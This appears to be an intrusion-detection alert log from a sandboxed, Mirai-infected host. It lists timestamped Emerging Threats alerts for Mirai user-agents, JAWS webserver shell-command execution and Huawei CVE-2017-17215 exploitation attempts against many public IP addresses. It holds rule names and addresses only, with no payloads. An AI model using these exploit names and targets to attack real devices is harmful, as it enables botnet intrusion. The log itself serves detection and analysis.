2024-12-03T23:02:38.039731+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33172	204.76.204.180	80	TCP
2024-12-03T23:02:38.039977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43834	95.149.63.191	80	TCP
2024-12-03T23:02:38.039977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43834	95.149.63.191	80	TCP
2024-12-03T23:02:38.066085+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52426	172.71.214.205	80	TCP
2024-12-03T23:02:38.066085+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52426	172.71.214.205	80	TCP
2024-12-03T23:02:38.066113+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37072	155.142.246.165	80	TCP
2024-12-03T23:02:38.066113+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37072	155.142.246.165	80	TCP
2024-12-03T23:02:38.900884+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47016	197.224.170.150	37215	TCP
2024-12-03T23:02:38.909842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35442	197.213.20.94	37215	TCP
2024-12-03T23:02:38.925763+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38416	194.168.226.89	80	TCP
2024-12-03T23:02:38.925763+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38416	194.168.226.89	80	TCP
2024-12-03T23:02:38.957027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51450	41.254.32.1	37215	TCP
2024-12-03T23:02:38.963145+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48560	204.156.164.165	80	TCP
2024-12-03T23:02:38.963145+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48560	204.156.164.165	80	TCP
2024-12-03T23:02:38.994200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44952	52.68.103.154	80	TCP
2024-12-03T23:02:38.994200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44952	52.68.103.154	80	TCP
2024-12-03T23:02:39.038909+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40238	111.96.61.22	80	TCP
2024-12-03T23:02:39.038909+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40238	111.96.61.22	80	TCP
2024-12-03T23:02:39.038917+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52838	59.255.82.255	80	TCP
2024-12-03T23:02:39.038917+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52838	59.255.82.255	80	TCP
2024-12-03T23:02:39.039532+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55106	23.135.240.39	80	TCP
2024-12-03T23:02:39.039532+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55106	23.135.240.39	80	TCP
2024-12-03T23:02:39.039660+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56450	46.115.240.145	80	TCP
2024-12-03T23:02:39.039660+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56450	46.115.240.145	80	TCP
2024-12-03T23:02:39.050460+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50870	132.101.84.210	80	TCP
2024-12-03T23:02:39.050460+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50870	132.101.84.210	80	TCP
2024-12-03T23:02:39.259989+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42040	1.113.249.76	80	TCP
2024-12-03T23:02:39.259989+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42040	1.113.249.76	80	TCP
2024-12-03T23:02:39.275598+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43096	74.177.48.208	80	TCP
2024-12-03T23:02:39.275598+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43096	74.177.48.208	80	TCP
2024-12-03T23:02:39.275718+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42442	132.139.194.86	80	TCP
2024-12-03T23:02:39.275718+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42442	132.139.194.86	80	TCP
2024-12-03T23:02:39.300461+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58548	72.43.128.10	80	TCP
2024-12-03T23:02:39.300461+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58548	72.43.128.10	80	TCP
2024-12-03T23:02:39.306792+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33134	179.23.54.39	80	TCP
2024-12-03T23:02:39.306792+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33134	179.23.54.39	80	TCP
2024-12-03T23:02:39.322548+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57678	169.180.238.202	80	TCP
2024-12-03T23:02:39.322548+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57678	169.180.238.202	80	TCP
2024-12-03T23:02:39.650543+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48110	156.179.192.65	37215	TCP
2024-12-03T23:02:39.650726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52590	156.205.225.43	37215	TCP
2024-12-03T23:02:39.650891+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44786	41.50.79.15	37215	TCP
2024-12-03T23:02:39.650964+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59324	156.88.157.157	37215	TCP
2024-12-03T23:02:39.651055+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51132	41.219.54.32	37215	TCP
2024-12-03T23:02:39.651180+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60546	197.213.196.91	37215	TCP
2024-12-03T23:02:39.651302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57876	41.161.165.4	37215	TCP
2024-12-03T23:02:39.651503+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58998	197.248.213.216	37215	TCP
2024-12-03T23:02:39.651723+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51886	156.68.81.5	37215	TCP
2024-12-03T23:02:39.651899+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46568	41.113.142.120	37215	TCP
2024-12-03T23:02:39.652092+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57818	41.49.128.186	37215	TCP
2024-12-03T23:02:39.652234+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43204	41.91.76.17	37215	TCP
2024-12-03T23:02:39.660031+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50808	41.44.118.166	37215	TCP
2024-12-03T23:02:39.660246+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38792	156.101.76.242	37215	TCP
2024-12-03T23:02:39.660372+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53126	156.74.238.132	37215	TCP
2024-12-03T23:02:39.666261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41124	156.30.229.144	37215	TCP
2024-12-03T23:02:39.666380+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36076	41.64.56.91	37215	TCP
2024-12-03T23:02:39.666550+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52098	156.180.77.83	37215	TCP
2024-12-03T23:02:39.666785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59840	156.70.150.199	37215	TCP
2024-12-03T23:02:39.666935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54606	41.149.22.78	37215	TCP
2024-12-03T23:02:39.667079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45408	197.27.136.129	37215	TCP
2024-12-03T23:02:39.667190+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45880	41.145.56.190	37215	TCP
2024-12-03T23:02:39.667339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54218	197.54.19.38	37215	TCP
2024-12-03T23:02:39.667450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44762	156.29.235.102	37215	TCP
2024-12-03T23:02:39.667644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57990	41.20.161.220	37215	TCP
2024-12-03T23:02:39.667794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51756	156.189.155.64	37215	TCP
2024-12-03T23:02:39.667914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48012	156.171.109.67	37215	TCP
2024-12-03T23:02:39.675457+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37272	156.26.109.171	37215	TCP
2024-12-03T23:02:39.675639+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58564	41.69.248.233	37215	TCP
2024-12-03T23:02:39.691075+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55250	156.125.208.52	37215	TCP
2024-12-03T23:02:39.691193+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57010	156.155.106.160	37215	TCP
2024-12-03T23:02:39.706674+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42636	41.203.148.119	37215	TCP
2024-12-03T23:02:39.706840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45946	41.140.235.170	37215	TCP
2024-12-03T23:02:39.707006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56692	197.225.104.85	37215	TCP
2024-12-03T23:02:39.784704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59966	156.69.232.135	37215	TCP
2024-12-03T23:02:39.800382+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56046	156.147.229.183	37215	TCP
2024-12-03T23:02:39.831823+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39294	41.92.134.252	37215	TCP
2024-12-03T23:02:39.838080+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37766	197.167.65.252	37215	TCP
2024-12-03T23:02:39.869380+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51704	41.208.145.230	37215	TCP
2024-12-03T23:02:39.869654+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39312	156.80.53.101	37215	TCP
2024-12-03T23:02:39.878355+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53596	41.83.186.252	37215	TCP
2024-12-03T23:02:39.909749+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55322	156.155.15.236	37215	TCP
2024-12-03T23:02:39.909861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37638	41.175.147.48	37215	TCP
2024-12-03T23:02:39.910043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54920	197.241.42.119	37215	TCP
2024-12-03T23:02:39.916255+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52680	175.207.149.206	80	TCP
2024-12-03T23:02:39.916255+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52680	175.207.149.206	80	TCP
2024-12-03T23:02:39.925412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56936	197.251.221.231	37215	TCP
2024-12-03T23:02:39.963016+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50044	156.162.95.37	37215	TCP
2024-12-03T23:02:39.988703+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37480	156.12.184.99	37215	TCP
2024-12-03T23:02:40.003630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60480	41.214.182.188	37215	TCP
2024-12-03T23:02:40.869201+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44164	186.64.229.65	80	TCP
2024-12-03T23:02:40.869201+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44164	186.64.229.65	80	TCP
2024-12-03T23:02:40.869492+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52436	199.4.164.184	80	TCP
2024-12-03T23:02:40.869492+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52436	199.4.164.184	80	TCP
2024-12-03T23:02:40.885189+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52668	204.153.221.222	80	TCP
2024-12-03T23:02:40.885189+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52668	204.153.221.222	80	TCP
2024-12-03T23:02:40.900611+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42066	175.105.152.86	80	TCP
2024-12-03T23:02:40.900611+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42066	175.105.152.86	80	TCP
2024-12-03T23:02:40.916304+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38798	54.118.162.67	80	TCP
2024-12-03T23:02:40.916304+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38798	54.118.162.67	80	TCP
2024-12-03T23:02:40.916393+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57596	41.83.120.78	37215	TCP
2024-12-03T23:02:40.916499+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51902	65.153.227.27	80	TCP
2024-12-03T23:02:40.916499+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51902	65.153.227.27	80	TCP
2024-12-03T23:02:40.925727+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47714	60.162.227.15	80	TCP
2024-12-03T23:02:40.925727+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47714	60.162.227.15	80	TCP
2024-12-03T23:02:40.931784+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52596	96.60.65.15	80	TCP
2024-12-03T23:02:40.931784+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52596	96.60.65.15	80	TCP
2024-12-03T23:02:40.931924+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34266	197.87.142.90	37215	TCP
2024-12-03T23:02:40.941187+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53416	139.28.65.252	80	TCP
2024-12-03T23:02:40.941187+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53416	139.28.65.252	80	TCP
2024-12-03T23:02:40.947384+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44546	168.79.83.94	80	TCP
2024-12-03T23:02:40.947384+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44546	168.79.83.94	80	TCP
2024-12-03T23:02:40.947492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60760	197.97.191.142	37215	TCP
2024-12-03T23:02:40.956644+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55292	187.105.157.125	80	TCP
2024-12-03T23:02:40.956644+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55292	187.105.157.125	80	TCP
2024-12-03T23:02:40.994960+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59824	190.124.82.41	80	TCP
2024-12-03T23:02:40.994960+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59824	190.124.82.41	80	TCP
2024-12-03T23:02:40.994974+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59264	155.116.200.243	80	TCP
2024-12-03T23:02:40.994974+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59264	155.116.200.243	80	TCP
2024-12-03T23:02:40.994998+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50888	145.61.154.119	80	TCP
2024-12-03T23:02:40.994998+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50888	145.61.154.119	80	TCP
2024-12-03T23:02:41.010311+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49910	80.19.155.190	80	TCP
2024-12-03T23:02:41.010311+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49910	80.19.155.190	80	TCP
2024-12-03T23:02:41.019260+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42154	169.124.154.32	80	TCP
2024-12-03T23:02:41.019260+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42154	169.124.154.32	80	TCP
2024-12-03T23:02:41.040804+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43248	65.73.110.209	80	TCP
2024-12-03T23:02:41.040804+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43248	65.73.110.209	80	TCP
2024-12-03T23:02:41.040827+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47998	57.184.39.239	80	TCP
2024-12-03T23:02:41.040827+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47998	57.184.39.239	80	TCP
2024-12-03T23:02:41.040843+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46558	211.3.38.0	80	TCP
2024-12-03T23:02:41.040843+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46558	211.3.38.0	80	TCP
2024-12-03T23:02:41.042939+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45146	42.155.200.20	80	TCP
2024-12-03T23:02:41.042939+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45146	42.155.200.20	80	TCP
2024-12-03T23:02:41.244457+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52190	197.15.75.253	37215	TCP
2024-12-03T23:02:41.244650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44702	197.37.206.193	37215	TCP
2024-12-03T23:02:41.275655+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38428	129.243.89.2	80	TCP
2024-12-03T23:02:41.275655+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38428	129.243.89.2	80	TCP
2024-12-03T23:02:41.363308+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41348	189.55.146.220	80	TCP
2024-12-03T23:02:41.363308+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41348	189.55.146.220	80	TCP
2024-12-03T23:02:41.776137+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53194	41.67.193.32	37215	TCP
2024-12-03T23:02:41.791871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45772	197.157.95.150	37215	TCP
2024-12-03T23:02:41.899992+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38134	197.119.63.226	37215	TCP
2024-12-03T23:02:41.928493+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52152	197.93.111.143	37215	TCP
2024-12-03T23:02:41.977598+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42456	41.69.112.9	37215	TCP
2024-12-03T23:02:41.977599+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59272	197.163.141.62	37215	TCP
2024-12-03T23:02:41.977601+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32842	41.80.146.12	37215	TCP
2024-12-03T23:02:41.977601+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57488	197.55.237.6	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43222	41.49.85.251	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44394	156.160.213.35	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56450	41.0.128.37	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54266	41.251.186.49	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57744	156.140.132.189	37215	TCP
2024-12-03T23:02:41.977609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46378	41.132.145.170	37215	TCP
2024-12-03T23:02:41.977609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36182	197.255.63.181	37215	TCP
2024-12-03T23:02:41.977612+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43094	41.40.34.178	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33232	156.103.92.199	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34190	156.54.244.210	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48784	197.103.236.18	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50182	156.171.91.162	37215	TCP
2024-12-03T23:02:42.023903+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54982	197.223.117.150	37215	TCP
2024-12-03T23:02:42.023905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43482	156.107.62.194	37215	TCP
2024-12-03T23:02:42.023905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37936	197.116.55.101	37215	TCP
2024-12-03T23:02:42.023905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41776	156.121.246.51	37215	TCP
2024-12-03T23:02:42.023908+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55538	41.147.231.6	37215	TCP
2024-12-03T23:02:42.023914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57652	156.165.133.97	37215	TCP
2024-12-03T23:02:42.023914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53848	41.16.52.193	37215	TCP
2024-12-03T23:02:42.023992+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35566	41.120.62.92	37215	TCP
2024-12-03T23:02:42.024012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50508	197.89.46.228	37215	TCP
2024-12-03T23:02:42.024027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38820	156.122.150.55	37215	TCP
2024-12-03T23:02:42.024045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39548	156.230.204.218	37215	TCP
2024-12-03T23:02:42.024063+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51434	41.136.53.44	37215	TCP
2024-12-03T23:02:42.024082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43534	41.197.198.172	37215	TCP
2024-12-03T23:02:42.024100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32912	41.37.168.138	37215	TCP
2024-12-03T23:02:42.024121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59520	41.212.140.199	37215	TCP
2024-12-03T23:02:42.041416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43192	41.51.92.110	37215	TCP
2024-12-03T23:02:42.041470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34854	197.142.220.183	37215	TCP
